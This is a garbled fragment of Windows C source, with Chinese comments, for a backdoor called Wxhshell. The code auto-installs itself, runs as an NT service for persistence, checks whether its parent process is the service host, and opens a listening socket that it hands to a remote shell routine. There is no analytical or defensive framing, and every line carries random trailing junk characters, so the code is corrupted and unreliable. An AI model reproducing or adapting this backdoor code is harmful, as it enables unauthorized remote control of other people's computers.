DWORD BasePriority; &iZYBa
ULONG UniqueProcessId; kdCOcJB
ULONG InheritedFromUniqueProcessId; s/M~RB!w
} PROCESS_BASIC_INFORMATION; o2
wY#mL1dF
PROCNTQSIP NtQueryInformationProcess; Bv8C_-lV/
VaxO L61xE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; __j8jEV
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nY)Pxahm 7
sd53 _sV
HANDLE hProcess; R6;>RRU_
PROCESS_BASIC_INFORMATION pbi; F]YKYF'1I
n^N]iw{G
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M-N2>i#
if(NULL == hInst ) return 0; ozLJ#eOE9
fP58$pwu
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (, "E9.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $8k_M
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); keskD
NrcCUZ .:N
if (!NtQueryInformationProcess) return 0; I0K!Kcu5Iu
09Y?!,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |@.<}/
if(!hProcess) return 0; BA,6f?ktXS
s.' \&B[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p;$9W+H0
j_@3a)[NY
CloseHandle(hProcess); v\,%)Z/
yipD5,TC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G4' U;
if(hProcess==NULL) return 0; cg00t+
YS~t d+*
HMODULE hMod; 9Z'eBp
char procName[255]; X vMG09
unsigned long cbNeeded; PU5mz.&0'
A@(h!Cq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T+R I8.#o
'*u;:[73
CloseHandle(hProcess); \_nmfTr!K
yPYJc
if(strstr(procName,"services")) return 1; // 以服务启动 ?4e6w
#Hi]&)p_
return 0; // 注册表启动 JWHt|zBg
} 3^>a TU<Z
od*Z$Hb>'
// 主模块 vN:[
int StartWxhshell(LPSTR lpCmdLine) )C]&ui~1
{ *Ne&SXg
SOCKET wsl; c8tC3CrKp=
BOOL val=TRUE; h;qy5KS
int port=0; ^alZ\!B8
struct sockaddr_in door; R2THL
Wx$q:$h@q
if(wscfg.ws_autoins) Install(); ,$zlw\
I0+wczW,^
port=atoi(lpCmdLine); 1xAFu+
%aBJ+V F
if(port<=0) port=wscfg.ws_port; :gscW&k
KTjlWxD
WSADATA data; ,, %:vK+V
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VHr7GAmU
cuaNAJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,Bw)n,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W#I:j: p
door.sin_family = AF_INET; ,M.!z@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); LG{inhbp
door.sin_port = htons(port); 7'i#!5
6\fMzm
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RS `9?c:
closesocket(wsl); _iJXp0g
return 1; :dIQV(iW
} 'z}M[h
K]
68<Z\WP
if(listen(wsl,2) == INVALID_SOCKET) { ~X<cG=p~u
closesocket(wsl); 7[v@*/W@
return 1; !{tiTA
} ttFY
_F~S
Wxhshell(wsl); aq+IC@O
WSACleanup(); E\~ KVn
ITIj=!F*
return 0; %M#?cmt
bro
} 3'*%R48P`
hr4ye`c j
// 以NT服务方式启动 lI_Yb:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M'zS7=F!:
{ 5 k%9>U%$
DWORD status = 0; S=H_9io
DWORD specificError = 0xfffffff; =lC;^&D-0/
hMeqs+
serviceStatus.dwServiceType = SERVICE_WIN32; w zqd
g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3
t8 8AN=4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 51G=RYay9
serviceStatus.dwWin32ExitCode = 0; c|}K_~l_
serviceStatus.dwServiceSpecificExitCode = 0; 0w(T^GhZ
serviceStatus.dwCheckPoint = 0; EEs-&
serviceStatus.dwWaitHint = 0; WAB0e~e:|Q
}PQSCl^I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0GX10*t.
if (hServiceStatusHandle==0) return; 4s~HfxYT
#CA%]*l*F
status = GetLastError(); y(nsyA
if (status!=NO_ERROR) VP%i1|XZJ
{ %7 v@n+Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; kg:
uGP9
serviceStatus.dwCheckPoint = 0; Fu4EEi
serviceStatus.dwWaitHint = 0; 5rml Aq
serviceStatus.dwWin32ExitCode = status;
t'Eb#Nup3
serviceStatus.dwServiceSpecificExitCode = specificError; S6T!qH{6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7AO3-;
l]
return; ]oeuIRyQ
} ?QMclzh*-
}#OqU#
q|
serviceStatus.dwCurrentState = SERVICE_RUNNING; )?B~64N,+
serviceStatus.dwCheckPoint = 0; '9
e\.
serviceStatus.dwWaitHint = 0; &{E`=4T2
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _jTwiuMS-
} 9rTz N
_2m[(P9d
// 处理NT服务事件,比如:启动、停止 O}MZ-/z=o~
VOID WINAPI NTServiceHandler(DWORD fdwControl) xY2}Wr
j,
{ Ni!;-,H+E
switch(fdwControl) k%]DT.cE
{ _}zo
/kDA
case SERVICE_CONTROL_STOP: z$c&=Q
serviceStatus.dwWin32ExitCode = 0; gX$0[
sIS.
serviceStatus.dwCurrentState = SERVICE_STOPPED; p,w|=@=
serviceStatus.dwCheckPoint = 0; w53z*l>ek
serviceStatus.dwWaitHint = 0; }F{C= l2
{ G(As%r]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); GG_^K#*
}
,v*p
return; *Mwfod
case SERVICE_CONTROL_PAUSE: #dZ/UM(u
serviceStatus.dwCurrentState = SERVICE_PAUSED; M'umoZmW0
break; QJ#u[hsMFp
case SERVICE_CONTROL_CONTINUE: &nqdl+|G*
serviceStatus.dwCurrentState = SERVICE_RUNNING; w|}W(=#
break; NtY*sUKRD
case SERVICE_CONTROL_INTERROGATE: 9fP) Fwih
break; =R&)hlm
}; }dX/Y/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (_w
%
} 4ZI!,lv*
tw'hh@7-Y
// 标准应用程序主函数 ?7yQ&